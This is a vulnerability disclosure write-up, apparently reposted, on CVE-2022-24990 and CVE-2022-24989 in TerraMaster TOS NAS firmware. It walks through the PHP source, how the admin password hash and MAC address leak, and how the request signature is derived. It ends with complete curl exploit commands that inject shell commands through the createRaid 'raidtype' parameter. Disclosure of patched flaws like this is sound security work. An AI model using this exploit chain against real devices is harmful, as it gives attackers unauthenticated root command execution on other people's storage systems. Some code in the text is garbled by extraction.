CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation

渗透技巧 2年前 (2022) admin
559 0 0

Introduction

This report explains how researchers at Octagon Networks were able to chain two interesting vulnerabilities to achieve unauthenticated remote command execution as root on TerraMaster NAS devices running TOS version 4.2.29. Patches are distributed for 4.2.31 now.

Analyzing the PHP files

After downloading the installation package of the latest TOS package from the official download site and extracting it using binwalk, we can see the platform uses nginx server with PHP scripts. The PHP scripts are encrypted on disk. After decrypting them and analyzing their content, there is an interesting php script – /usr/www/module/api.php.

The script starts parsing the uri components in the following manner.

$in = router();
$URI = $in[‘URLremote’];
if (!isset($URI[0]) || $URI[0] == )
$URI[0] = $default_controller;
if (!isset($URI[1]) || $URI[1] == )
$URI[1] = $default_action;
define(‘Module’, $URI[0]);
define(‘Action’, $URI[1]);
$class = Module;
$function = Action;

The 

router

 function parses the get parameters and assigns them in such a way that if the request is http://target/module/api.php?XXXX/YYYY, then 

$class

 will be XXXX, and 

$function

 is YYYY.

 

It then checks if the function is in an array of 

NO_LOGIN_CHECK

, and if it’s not, it sets 

REQUEST MODE

 to 1. This will be important detail for the exploit later.

 

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);
if (!in_array($function, $GLOBALS[‘NO_LOGIN_CHECK’])) {
define(‘REQUEST_MODE’, 1);
} else {
define(‘REQUEST_MODE’, 0);
}

It then instantiates the class stated by and calls the method stated by .$class$function

$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
#防止请求重放验证…
if (tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’]$_SERVER[‘HTTP_TIMESTAMP’] > 300) {
$instance->output(“Illegal request, timeout!”, 0);
}
} $instance->$function();

One thing to notice here is that the line . If our function is not in an array by the name of , then a check will be made. It takes the TIMESTAMP http header and passes it to a function called , and compares the output of the function to the value in SIGNATURE http header. It then checks if the timestamp is not older than 5 minutes. The is a custom hashing function, which we will come to analyze later to figure out how SIGNATURE is created.if (!in_array($function, $class::$notHeader)) {$notHeadeertos_encrypt_strtos_encrypt_str

Looking for php scripts which have classes which can be invoked this way, I came across . To start off, it has two arrays of method name, and ./usr/www/include/class/mobile.class.php$notCheck$notHeader

static $notCheck = [ “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,‘createid’, ‘user_create’,‘user_bond’,‘user_release’,‘login’, ‘logout’, ‘checkCode’, “wapNasIPS” ]; //不验证头信息是否匹配… static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

Then it makes three check in its constructor.

if (!in_array(Action, self::$notHeader)) { if (!strstr($_SERVER[‘HTTP_USER_AGENT’], “TNAS”) || !isset($_SERVER[‘HTTP_AUTHORIZATION’]) || $this>REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]) { $this>output(“Illegal request, please use genuine software!”, false); } }

The first check ensures that if the method name invoked is not in array, it tests whether the user-agent http header is ‘TNAS’ and AUTHORIZATION header is equal to . Otherwise it exits with an error message. The AUTHORIZATION header will be important later on. For now, let’s proceed to the second check.$notHeader$this->REQUESTCODE

if (REQUEST_MODE) {if (!isset($_SESSION)) { $this>output(“session write error!”, false); } else { $this>user = &$_SESSION[‘kod_user’]; } if (isset($this>in[‘PHPSESSID’])) { $this>sessionid = $this>in[‘PHPSESSID’]; }

if is set, then it checks whether the user is logged in. Otherwise it will exit. And the final check:REQUEST_MODE

if (!in_array(Action, self::$notCheck)) { if (!$this>loginCheck()) { $this>output(“login is timeout”, 0); } }

It checks whether the method name is in , and exits with an error if it’s not.$notCheck

Severe Information Leak: CVE-2022-24990

So, with the knowledge of the two php script chains, we know that the seven functions “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected” are in array in , and will set to 0, passing one of the checks in . And upon further checking these functions, is the only function which is both in and arrays of ‘s constructor, which effectively can pass two remaining checks. Let’s call webNasIPS and see what it returns.NO_LOGIN_CHECKapi.phpREQUEST_MODEmobile.class.phpwebNasIPS$notCheck$notHeadermobile.class.php

$ curl -vk ‘http://XXXX/module/api.php?mobile/webNasIPS’ -H ‘User-Agent: TNAS’ * Trying XXXX… * Connected to 127.0.0.1 (127.0.0.1) port 22056 (#0) > GET /module/api.php?mobile/webNasIPS HTTP/1.1 > Host: 127.0.0.1:22056 > User-Agent: TNAS < HTTP/1.1 200 OK < Date: Mon, 10 Jan 2022 14:10:40 GMT < Content-Type: application/json; charset=utf-8 < Transfer-Encoding: chunked < Connection: keep-alive < X-Powered-By: TerraMaster * Connection #0 to host 127.0.0.1 left intact {“code”:true,”msg”:”webNasIPS successful”,”data”:”NOTIFY Message\nIFC:10.0.2.2\nADDR:525400123456\nPWD:$1$2kc1Zqe8$gighkBlDDDFHpG3RkZtws1\nSAT:1\nDAT:[{\”hostname\”:\”ubuntu1604-aarch64\”,\”firmware\”:\”TOS3_A1.0_4.2.17\”,\”sn\”:\”\”,\”version\”:\”2110301418\”},{\”network\”:\”eth0\”,\”ip\”:\”10.0.2.15\”,\”mask\”:\”255.255.255.0\”,\”mac\”:\”52:54:00:12:34:56\”},{\”service\”:[{\”name\”:\”http_ssl\”,\”url\”:\”\”,\”port\”:\”5443\”},{\”name\”:\”http\”,\”url\”:\”XXXX\”,\”port\”:\”8181\”},{\”name\”:\”sys\”,\”url\”:\”XXXX\”,\”port\”:\”8181\”},{\”name\”:\”channel\”,\”url\”:\”\”,\”port\”:0},{\”name\”:\”pt\”,\”url\”:\”\”,\”port\”:0},{\”name\”:\”ftp\”,\”url\”:\”\”,\”port\”:21},{\”name\”:\”web_dav\”,\”url\”:\”\”,\”port\”:0},{\”name\”:\”smb\”,\”url\”:\”\”,\”port\”:0}]}]”,”time”:2.920037031173706}

It returns a lot of interesting data. Let’s look at the function webNasIPS.

function webNasIPS() { if (strstr($_SERVER[‘HTTP_USER_AGENT’], “TNAS”)) { $core = new core(); $dataSheet[0] = [ “hostname” => $core->_hostname(), “firmware” => $core->_version(), “sn” => $core->_system_product_name(), “version” => $core->_VersionNumber() ]; $defaultgw = $core->_default_RJ45(); $eth = $core->_netlist($defaultgw); $dataSheet[1] = array(“network” => $defaultgw, “ip” => $eth[‘ip’], “mask” => $eth[‘mask’], “mac” => $eth[‘mac’]); $dataSheet[2] = array(“service” => $this>_getservicelist()); $ifc = $_SERVER[‘REMOTE_ADDR’]; $addr = preg_replace(“/[:\n\r]+/”, “”, file_get_contents(“/sys/class/net/eth0/address”)); $pwd = $this>REQUESTCODE; if (!file_exists(“/tmp/databack/complete”)) { $sat = -1; } else if (!empty($this>_exec(“df-json | awk ‘/\/mnt\/md/'”))) { $sat = !file_exists(USER_SYSTEM . ‘/install.lock’) ? 2 : 1; } else { $sat = 0; } $dat = addslashes(json_encode($dataSheet)); $tpl = “NOTIFY Message\\nIFC:$ifc\\nADDR:$addr\\nPWD:$pwd\\nSAT:$sat\\nDAT:$dat”; $this>output(“webNasIPS successful”, true, $tpl); } $this>output(“webNasIPS failed”, false, “”); }<br><br>It returns the TOS firmware version, the default gateweay interface‘s IP and mac address, running services with their binding address and their ports, and a variable <code>$pwd</code> which contains the value of <code>$this->REQUESTCODE</code>. Upon checking the origns of <code>REQUESTCODE</code>, we see that it is set in <code>application.class.php<br><br></code>$this->REQUESTCODE = $this->_getpassword(); … function _getpassword(){ $baselink = new NasDBLite(); if($baselink){ $encode_name = base64_encode(person::getFirstAdmin()); $pwd = $baselink->querySingle(“select password from user_table where username=’$encode_name'”); $baselink->close(); } return $pwd; }<br><br>The <code>_getpassword</code> functions essentially tells that REQUESTCODE is the hash of the admin password. This makes the above information leak a very dire one.

Finding an OS command injection: CVE-2022-24989

If we remember earlier, one of the checks in <code>mobile.class.php</code> is:<br>if (!in_array(Action, self::$notHeader)) { if (!strstr($_SERVER[‘HTTP_USER_AGENT’], “TNAS”) || !isset($_SERVER[‘HTTP_AUTHORIZATION’]) || $this>REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]) { $this>output(“Illegal request, please use genuine software!”, false); } }

Since gives us REQUESTCODE without authentication, we can now call from the seven functions we listed which are in and in array, but NOT in arrary. is one of the functions which fullfills this.webNasIPSNOT_LOGIN_CHECK$notCheck$notHeadercreateRaid

function createRaid() { $vol = new volume(); … if (!isset($this>in[‘raidtype’]) || !isset($this>in[‘diskstring’])){ $this>output(“Incomplete parameters”, false); }$ret = $vol->volume_make_from_disks($this>in[‘raidtype’], $filesystem, $disks, $volume_size); … }

createRaid takes two POST parameters by and and calls with the value of as the first parameter. Let’s have a closer look at defined in volume.class.php.raidtypediskstring$vol->volume_make_from_disksraidtypevolume_make_from_disks

function volume_make_from_disks($level, $fs, $disks, $volume_size) { $this>fun->_backexec(“$_makemd -s{$volume_size} -l{$level} -b -t{$fs} {$diskItems} &”); … }

It takes the first parameter and inserts it into a string to call another function . is a function defined in .$this->fun->_backexec_backexecfunc.class.php

function _backexec($command) { if (strstr($command, “regcloud”)) { @system(“killall -9 regcloud”); } $fp = popen($command, “w”); if ($fp == FALSE) return FALSE; pclose($fp); return TRUE; }

_backexec function passes the parameters it receives to without any sanitization. Therefore, it’s vulnerable to OS command injection.popen

Bypassing Timstamp header checks

We have now chained the information leak (admin password hash) with an OS injection vulnerability. But we have to return to timestamp header check that we said we will look at later.api.php

$instance = new $class(); if (!in_array($function, $class::$notHeader)) { #防止请求重放验证… if (tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’] – $_SERVER[‘HTTP_TIMESTAMP’] > 300) { $instance->output(“Illegal request, timeout!”, 0); } } $instance->$function();

api.php ensures that if the method name is not in the class’s array, it will check that the TIMESTAMP header is not older than 300 seconds (5 minutes), and the SIGNATURE header has to be equal to the output of function call on the TIMESTAMP value. Now, we have three problems.$notHeadertos_encrypt_str

  • We have to get the time of the machine
  • We have to know how is invoked, and call it with arbitrary valuetos_encrypt_str
  • We have to calculate the right TIMESTAMP in epoch time from the machine’s time regardless of time difference

Let’s start with tos_encrypt_str.

Figuring out the custom hash function

Upon searching , we realize that it’s not defined in the PHP scripts. And after a google search, we realize that it’s not also in the default and common list of php extentions. This leads us to the conclusion that it’s a function in one of TerraMaster’s custom PHP extenstions. Listing the loaded PHP extensions:tos_encrypt_str

$ php -m
pgsql
Phar
php_terra_master
posix
redis

The extension sticks out. It exports one function, .php_terra_master.sotos_encrypt_str

$ php -r ‘var_dump((new ReflectionExtension(“php_terra_master”))->getFunctions());’
array(1) { [“tos_encrypt_str”]=> object(ReflectionFunction)#2 (1) { [“name”]=> string(15) “tos_encrypt_str” } }

Calling will tell us that it returns a hash.tos_encrypt_str

$ php php -r ‘echo tos_encrypt_str(“XXXX”) . PHP_EOL;’
6873abbd2da7dca265b78e64ead3729b

Opening the shared object in IDA, and searching for the string , we find out that the hashing function is .tos_encrypt_strsub_3738

result = zend_parse_parameters(v3, “s”, &v8, &v10);
if ( (_DWORD)result != -1 ) {
v5 = (const char *)sub_3694(&v9);
php_sprintf(v11, “%s%s”, v5, v8);
v6 = (const char *)sub_2348(v11);
v7 = zend_strpprintf(0LL, “%s”, v6);

It takes our string to be hashed from , and passes it to  (using variable ). Before the php_sprintf call, there is a function call , whose return value is given to the php_sprintf call as parameter, with our string. Let’s take a look at it.zend_parse_parametersphp_sprintfv8sub_3694

__int64 __fastcall sub_3694(__int64 a1) { int v2; // w21 const char *v3; // x0 char v5[40]; // [xsp+38h] [xbp+38h] BYREF v2 = socket(2, 1, 0); if ( (v2 & 0x80000000) != 0 ) { v3 = “socket”; LABEL_5: perror(v3); return 0LL; } strcpy(v5, “eth0”); if ( (ioctl(v2, 0x8927uLL, v5) & 0x80000000) != 0 ) { v3 = “ioctl”; goto LABEL_5; } php_sprintf(a1, “%02x%02x%02x”, (unsigned __int8)v5[21], (unsigned __int8)v5[22], (unsigned __int8)v5[23]); return a1; }

This function gets the mac address of the interface and returns the last 3 bytes (device specific part) in hex. Then the in sub_3738 call formats it with our string to a final string to give it to . Therefore, if the mac address of eth0 for a device is 55:44:33:12:34:56 and our string to be hashed is XXXX, then the final string given to the actuall hash function (sub_2348) will be 123456XXXX.eth0php_sprintfsub_2348

Getting the later half of the mac

tos_encrypt_str using the later half of the mac address of eth0 allows each TerraMaster device to derive different hashes for the same string. This prevents us from calling the function with arbitrary stirng, since we need the mac address.

Lucky for us, , which leaks the admin password hash, also gives us the mac address of the default gateway interface, which is often eth0. Armed with the later half of the mac address, we can write a small hook to call tos_encrypt_str with any string value we want to generate the hash.webNasIPS

function webNasIPS() {
$dataSheet[1] = array(
“network” => $defaultgw,
“ip” => $eth[‘ip’],
“mask” => $eth[‘mask’],
“mac” => $eth[‘mac’
]);
}

Another information leak: time of the machine

Now that we can generate the right hash for any arbitrary string for any TerraMaster device, the only remaining piece is the timestamp value. On some TerraMaster TOS devices, there is a header that tells us what timezone the target machine is synched to, so we can sync our time with the victim and have an accurate timestamp. However, on TerraMaster devices, it is hardened and the header is stripped so it is not easy for us to figure out what timezone the machine is synched to.DateDate

Upon replaying with the request, we realize that sending a request to any of these functions in a way that the result is a failure will yield the time of the machine being leaked. Here is a simple request to call with no AUTHORIZATION, TIMESTAMP and SIGNATURE headers.createRaid

$ curl -k ‘http://127.0.0.1:22056/module/api.php?mobile/createRaid’ | jq -r
{
“code”: false,
“msg”: “Illegal request, please use genuine software!”,
“data”: [],
“time”: 0.00028896331787109375,
“ctime”: “2022-01-10 23:00:38”
}

In the request, there is a value of , which contains the date of the machine with the 24 hour format.ctime

Now, with all the pieces on our hand, the only remaining task is to calculate the timestamp in epoch regardless of the machine’s timezone.

Calculating the timestamp

To do this, we can use any unix timestamp calculator. These are the steps to do that.

  • We take the time of the machine from the and convert it to epoch timectime
  • We calculate our own time (both formal and epoch) (for example: using PHP’s functionality: datephp -r 'echo time() . " " . date("Y-m-d H:i:s") . PHP_EOL; ')
  • We subtract the epoch time of our machine from the target machine
  • We convert the subtraction result of the above calculation into relative time
  • We add/subtract the relative time to our machine’s formal time
  • We convert the result from the above calculation to epoch time
  • We now have the right epoch time. We calculate the hash of this epoch time using the machine’s later half of the mac
  • We invoke with our payload in createRaidraidtype

Exploitation

The final payload will look something like this.

 

$ curl -vk ‘http://XXXX/module/api.php?mobile/createRaid’ -H ‘User-Agent: TNAS’ -H ‘AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1’ -d ‘raidtype=;id>/tmp/a.txt;&amp;diskstring=XXXX’ -H ‘TIMESTAMP: 1642335373’ -H ‘SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe’ | jq -r<br><br>

Successful exploitation will contain a ‘createRaid successful’ or a ‘createRaid failed’ message.

On 4.1.x versions of TOS, there’s is no need for the timestamp and hash check, so the exploit becomes even simpler:

 

$ curl -vk ‘http://XXXX/module/api.php?mobile/createRaid’ -H ‘User-Agent: TNAS’ -H ‘AUTHORIZATION: $1$2kc1Zqe8$gighkBlDDDFHpG3RkZtws1’ -d ‘raidtype=;id>/tmp/a.txt;&diskstring=XXXX’ | jq -r

Conclusion

All in all, this was a very interesting project. we have used multiple components of an information leak, along with another information leak of the machine’s time, and chained it with an authenticated OS command injection to achieve an unauthenticated remote command execution as root.

The exploitation works on all TOS 4.2.x versions < 4.2.30, and on all 4.1.x versions.

Vendor Response

All vulnerabilities in this post have been patched by the vendor in February 2022.

 

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...